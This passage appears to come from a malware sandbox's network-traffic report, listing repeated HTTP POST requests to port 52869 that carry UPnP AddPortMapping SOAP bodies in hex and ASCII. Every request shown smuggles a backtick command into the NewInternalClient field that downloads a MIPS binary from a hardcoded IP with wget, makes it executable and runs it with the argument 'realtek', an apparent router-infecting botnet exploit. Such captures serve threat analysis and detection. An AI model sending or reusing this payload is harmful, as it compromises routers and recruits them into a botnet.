65 48 6f 73 74 3e 3c 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 34 37 34 35 31 3c 2f 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 54 43 50 3c 2f 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 3c 4e 65 77 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 34 34 33 38 32 3c 2f 4e 65 77 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 60 63 64 20 2f 76 61 72 3b 20 72 6d 20 2d 72 66 20 6e 69 67 3b 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 34 37 2e 37 38 2e 31 30 33 2e 38 39 2f 62 69 6e 73 2f 6d 69 70 73 20 2d 4f 20 6e 69 67 3b 20 63 68 6d 6f 64 20 37 37 37 20 6e 69 67 3b 20 2e 2f 6e 69 67 20 72 65 61 6c 74 65 6b 60 3c 2f 4e 65 77 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 3c 4e 65 77 45 6e 61 62 6c 65 64 3e 31 3c 2f 4e 65 77 45 6e 61 62 6c 65 64 3e 3c 4e 65 77 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 73 79 6e 63 74 68 69 6e 67 3c 2f 4e 65 77 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 3c 4e 65 77 4c 65 61 73 65 44 75 72 61 74 69 6f 6e 3e 30 3c 2f 4e 65 77 4c 65 61 73 65 44 75 72 61 74 69 6f 6e 3e 3c 2f 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a
                                                      Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:AddPortMapping xmlns:u="urn:schemas-upnp-org:service:WANIPConnection:1"><NewRemoteHost></NewRemoteHost><NewExternalPort>47451</NewExternalPort><NewProtocol>TCP</NewProtocol><NewInternalPort>44382</NewInternalPort><NewInternalClient>`cd /var; rm -rf nig; wget http://147.78.103.89/bins/mips -O nig; chmod 777 nig; ./nig realtek`</NewInternalClient><NewEnabled>1</NewEnabled><NewPortMappingDescription>syncthing</NewPortMappingDescription><NewLeaseDuration>0</NewLeaseDuration></u:AddPortMapping></s:Body></s:Envelope>
                                                      Mar 13, 2024 16:27:46.745429993 CET959OUTPOST /picdesc.xml HTTP/1.1
                                                      Host: 127.0.0.1:52869
                                                      Content-Length: 630
                                                      Accept-Encoding: gzip, deflate
                                                      SOAPAction: urn:schemas-upnp-org:service:WANIPConnection:1#AddPortMapping
                                                      Accept: */*
                                                      User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)
                                                      Connection: keep-alive
                                                      Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 49 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 2f 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 34 37 34 35 31 3c 2f 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 54 43 50 3c 2f 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 3c 4e 65 77 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 34 34 33 38 32 3c 2f 4e 65 77 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 60 63 64 20 2f 76 61 72 3b 20 72 6d 20 2d 72 66 20 6e 69 67 3b 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 34 37 2e 37 38 2e 31 30 33 2e 38 39 2f 62 69 6e 73 2f 6d 69 70 73 20 2d 4f 20 6e 69 67 3b 20 63 68 6d 6f 64 20 37 37 37 20 6e 69 67 3b 20 2e 2f 6e 69 67 20 72 65 61 6c 74 65 6b 60 3c 2f 4e 65 77 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 3c 4e 65 77 45 6e 61 62 6c 65 64 3e 31 3c 2f 4e 65 77 45 6e 61 62 6c 65 64 3e 3c 4e 65 77 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 73 79 6e 63 74 68 69 6e 67 3c 2f 4e 65 77 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 3c 4e 65 77 4c 65 61 73 65 44 75 72 61 74 69 6f 6e 3e 30 3c 2f 4e 65 77 4c 65 61 73 65 44 75 72 61 74 69 6f 6e 3e 3c 2f 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a
                                                      Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:AddPortMapping xmlns:u="urn:schemas-upnp-org:service:WANIPConnection:1"><NewRemoteHost></NewRemoteHost><NewExternalPort>47451</NewExternalPort><NewProtocol>TCP</NewProtocol><NewInternalPort>44382</NewInternalPort><NewInternalClient>`cd /var; rm -rf nig; wget http://147.78.103.89/bins/mips -O nig; chmod 777 nig; ./nig realtek`</NewInternalClient><NewEnabled>1</NewEnabled><NewPortMappingDescription>syncthing</NewPortMappingDescription><NewLeaseDuration>0</NewLeaseDuration></u:AddPortMapping></s:Body></s:Envelope>
                                                      Mar 13, 2024 16:28:35.896003962 CET959OUTPOST /picdesc.xml HTTP/1.1
                                                      Host: 127.0.0.1:52869
                                                      Content-Length: 630
                                                      Accept-Encoding: gzip, deflate
                                                      SOAPAction: urn:schemas-upnp-org:service:WANIPConnection:1#AddPortMapping
                                                      Accept: */*
                                                      User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)
                                                      Connection: keep-alive
                                                      Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 49 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 2f 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 34 37 34 35 31 3c 2f 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 54 43 50 3c 2f 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 3c 4e 65 77 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 34 34 33 38 32 3c 2f 4e 65 77 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 60 63 64 20 2f 76 61 72 3b 20 72 6d 20 2d 72 66 20 6e 69 67 3b 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 34 37 2e 37 38 2e 31 30 33 2e 38 39 2f 62 69 6e 73 2f 6d 69 70 73 20 2d 4f 20 6e 69 67 3b 20 63 68 6d 6f 64 20 37 37 37 20 6e 69 67 3b 20 2e 2f 6e 69 67 20 72 65 61 6c 74 65 6b 60 3c 2f 4e 65 77 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 3c 4e 65 77 45 6e 61 62 6c 65 64 3e 31 3c 2f 4e 65 77 45 6e 61 62 6c 65 64 3e 3c 4e 65 77 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 73 79 6e 63 74 68 69 6e 67 3c 2f 4e 65 77 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 3c 4e 65 77 4c 65 61 73 65 44 75 72 61 74 69 6f 6e 3e 30 3c 2f 4e 65 77 4c 65 61 73 65 44 75 72 61 74 69 6f 6e 3e 3c 2f 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a
                                                      Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:AddPortMapping xmlns:u="urn:schemas-upnp-org:service:WANIPConnection:1"><NewRemoteHost></NewRemoteHost><NewExternalPort>47451</NewExternalPort><NewProtocol>TCP</NewProtocol><NewInternalPort>44382</NewInternalPort><NewInternalClient>`cd /var; rm -rf nig; wget http://147.78.103.89/bins/mips -O nig; chmod 777 nig; ./nig realtek`</NewInternalClient><NewEnabled>1</NewEnabled><NewPortMappingDescription>syncthing</NewPortMappingDescription><NewLeaseDuration>0</NewLeaseDuration></u:AddPortMapping></s:Body></s:Envelope>


                                                      Session IDSource IPSource PortDestination IPDestination Port
                                                      38192.168.2.1541992185.147.59.2552869
                                                      TimestampBytes transferredDirectionData
                                                      Mar 13, 2024 16:27:00.578139067 CET959OUTPOST /wanipcn.xml HTTP/1.1
                                                      Host: 127.0.0.1:52869
                                                      Content-Length: 630
                                                      Accept-Encoding: gzip, deflate
                                                      SOAPAction: urn:schemas-upnp-org:service:WANIPConnection:1#AddPortMapping
                                                      Accept: */*
                                                      User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)
                                                      Connection: keep-alive
                                                      Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 49 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 2f 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 34 37 34 35 31 3c 2f 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 54 43 50 3c 2f 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 3c 4e 65 77 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 34 34 33 38 32 3c 2f 4e 65 77 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 60 63 64 20 2f 76 61 72 3b 20 72 6d 20 2d 72 66 20 6e 69 67 3b 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 34 37 2e 37 38 2e 31 30 33 2e 38 39 2f 62 69 6e 73 2f 6d 69 70 73 20 2d 4f 20 6e 69 67 3b 20 63 68 6d 6f 64 20 37 37 37 20 6e 69 67 3b 20 2e 2f 6e 69 67 20 72 65 61 6c 74 65 6b 60 3c 2f 4e 65 77 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 3c 4e 65 77 45 6e 61 62 6c 65 64 3e 31 3c 2f 4e 65 77 45 6e 61 62 6c 65 64 3e 3c 4e 65 77 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 73 79 6e 63 74 68 69 6e 67 3c 2f 4e 65 77 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 3c 4e 65 77 4c 65 61 73 65 44 75 72 61 74 69 6f 6e 3e 30 3c 2f 4e 65 77 4c 65 61 73 65 44 75 72 61 74 69 6f 6e 3e 3c 2f 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a
                                                      Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:AddPortMapping xmlns:u="urn:schemas-upnp-org:service:WANIPConnection:1"><NewRemoteHost></NewRemoteHost><NewExternalPort>47451</NewExternalPort><NewProtocol>TCP</NewProtocol><NewInternalPort>44382</NewInternalPort><NewInternalClient>`cd /var; rm -rf nig; wget http://147.78.103.89/bins/mips -O nig; chmod 777 nig; ./nig realtek`</NewInternalClient><NewEnabled>1</NewEnabled><NewPortMappingDescription>syncthing</NewPortMappingDescription><NewLeaseDuration>0</NewLeaseDuration></u:AddPortMapping></s:Body></s:Envelope>
                                                      Mar 13, 2024 16:27:01.178715944 CET959OUTPOST /wanipcn.xml HTTP/1.1
                                                      Host: 127.0.0.1:52869
                                                      Content-Length: 630
                                                      Accept-Encoding: gzip, deflate
                                                      SOAPAction: urn:schemas-upnp-org:service:WANIPConnection:1#AddPortMapping
                                                      Accept: */*
                                                      User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)
                                                      Connection: keep-alive
                                                      Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 49 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 2f 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 34 37 34 35 31 3c 2f 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 54 43 50 3c 2f 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 3c 4e 65 77 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 34 34 33 38 32 3c 2f 4e 65 77 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 60 63 64 20 2f 76 61 72 3b 20 72 6d 20 2d 72 66 20 6e 69 67 3b 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 34 37 2e 37 38 2e 31 30 33 2e 38 39 2f 62 69 6e 73 2f 6d 69 70 73 20 2d 4f 20 6e 69 67 3b 20 63 68 6d 6f 64 20 37 37 37 20 6e 69 67 3b 20 2e 2f 6e 69 67 20 72 65 61 6c 74 65 6b 60 3c 2f 4e 65 77 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 3c 4e 65 77 45 6e 61 62 6c 65 64 3e 31 3c 2f 4e 65 77 45 6e 61 62 6c 65 64 3e 3c 4e 65 77 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 73 79 6e 63 74 68 69 6e 67 3c 2f 4e 65 77 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 3c 4e 65 77 4c 65 61 73 65 44 75 72 61 74 69 6f 6e 3e 30 3c 2f 4e 65 77 4c 65 61 73 65 44 75 72 61 74 69 6f 6e 3e 3c 2f 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a
                                                      Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:AddPortMapping xmlns:u="urn:schemas-upnp-org:service:WANIPConnection:1"><NewRemoteHost></NewRemoteHost><NewExternalPort>47451</NewExternalPort><NewProtocol>TCP</NewProtocol><NewInternalPort>44382</NewInternalPort><NewInternalClient>`cd /var; rm -rf nig; wget http://147.78.103.89/bins/mips -O nig; chmod 777 nig; ./nig realtek`</NewInternalClient><NewEnabled>1</NewEnabled><NewPortMappingDescription>syncthing</NewPortMappingDescription><NewLeaseDuration>0</NewLeaseDuration></u:AddPortMapping></s:Body></s:Envelope>
                                                      Mar 13, 2024 16:27:02.362693071 CET959OUTPOST /wanipcn.xml HTTP/1.1
                                                      Host: 127.0.0.1:52869
                                                      Content-Length: 630
                                                      Accept-Encoding: gzip, deflate
                                                      SOAPAction: urn:schemas-upnp-org:service:WANIPConnection:1#AddPortMapping
                                                      Accept: */*
                                                      User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)
                                                      Connection: keep-alive
                                                      Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 49 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 2f 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 34 37 34 35 31 3c 2f 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 54 43 50 3c 2f 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 3c 4e 65 77 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 34 34 33 38 32 3c 2f 4e 65 77 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 60 63 64 20 2f 76 61 72 3b 20 72 6d 20 2d 72 66 20 6e 69 67 3b 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 34 37 2e 37 38 2e 31 30 33 2e 38 39 2f 62 69 6e 73 2f 6d 69 70 73 20 2d 4f 20 6e 69 67 3b 20 63 68 6d 6f 64 20 37 37 37 20 6e 69 67 3b 20 2e 2f 6e 69 67 20 72 65 61 6c 74 65 6b 60 3c 2f 4e 65 77 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 3c 4e 65 77 45 6e 61 62 6c 65 64 3e 31 3c 2f 4e 65 77 45 6e 61 62 6c 65 64 3e 3c 4e 65 77 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 73 79 6e 63 74 68 69 6e 67 3c 2f 4e 65 77 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 3c 4e 65 77 4c 65 61 73 65 44 75 72 61 74 69 6f 6e 3e 30 3c 2f 4e 65 77 4c 65 61 73 65 44 75 72 61 74 69 6f 6e 3e 3c 2f 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a
                                                      Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:AddPortMapping xmlns:u="urn:schemas-upnp-org:service:WANIPConnection:1"><NewRemoteHost></NewRemoteHost><NewExternalPort>47451</NewExternalPort><NewProtocol>TCP</NewProtocol><NewInternalPort>44382</NewInternalPort><NewInternalClient>`cd /var; rm -rf nig; wget http://147.78.103.89/bins/mips -O nig; chmod 777 nig; ./nig realtek`</NewInternalClient><NewEnabled>1</NewEnabled><NewPortMappingDescription>syncthing</NewPortMappingDescription><NewLeaseDuration>0</NewLeaseDuration></u:AddPortMapping></s:Body></s:Envelope>
                                                      Mar 13, 2024 16:27:04.762737036 CET959OUTPOST /wanipcn.xml HTTP/1.1
                                                      Host: 127.0.0.1:52869
                                                      Content-Length: 630
                                                      Accept-Encoding: gzip, deflate
                                                      SOAPAction: urn:schemas-upnp-org:service:WANIPConnection:1#AddPortMapping
                                                      Accept: */*
                                                      User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)
                                                      Connection: keep-alive
                                                      Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 49 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 2f 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 34 37 34 35 31 3c 2f 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 54 43 50 3c 2f 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 3c 4e 65 77 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 34 34 33 38 32 3c 2f 4e 65 77 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 60 63 64 20 2f 76 61 72 3b 20 72 6d 20 2d 72 66 20 6e 69 67 3b 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 34 37 2e 37 38 2e 31 30 33 2e 38 39 2f 62 69 6e 73 2f 6d 69 70 73 20 2d 4f 20 6e 69 67 3b 20 63 68 6d 6f 64 20 37 37 37 20 6e 69 67 3b 20 2e 2f 6e 69 67 20 72 65 61 6c 74 65 6b 60 3c 2f 4e 65 77 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 3c 4e 65 77 45 6e 61 62 6c 65 64 3e 31 3c 2f 4e 65 77 45 6e 61 62 6c 65 64 3e 3c 4e 65 77 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 73 79 6e 63 74 68 69 6e 67 3c 2f 4e 65 77 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 3c 4e 65 77 4c 65 61 73 65 44 75 72 61 74 69 6f 6e 3e 30 3c 2f 4e 65 77 4c 65 61 73 65 44 75 72 61 74 69 6f 6e 3e 3c 2f 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a
                                                      Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:AddPortMapping xmlns:u="urn:schemas-upnp-org:service:WANIPConnection:1"><NewRemoteHost></NewRemoteHost><NewExternalPort>47451</NewExternalPort><NewProtocol>TCP</NewProtocol><NewInternalPort>44382</NewInternalPort><NewInternalClient>`cd /var; rm -rf nig; wget http://147.78.103.89/bins/mips -O nig; chmod 777 nig; ./nig realtek`</NewInternalClient><NewEnabled>1</NewEnabled><NewPortMappingDescription>syncthing</NewPortMappingDescription><NewLeaseDuration>0</NewLeaseDuration></u:AddPortMapping></s:Body></s:Envelope>
                                                      Mar 13, 2024 16:27:09.626485109 CET959OUTPOST /wanipcn.xml HTTP/1.1
                                                      Host: 127.0.0.1:52869
                                                      Content-Length: 630
                                                      Accept-Encoding: gzip, deflate
                                                      SOAPAction: urn:schemas-upnp-org:service:WANIPConnection:1#AddPortMapping
                                                      Accept: */*
                                                      User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)
                                                      Connection: keep-alive
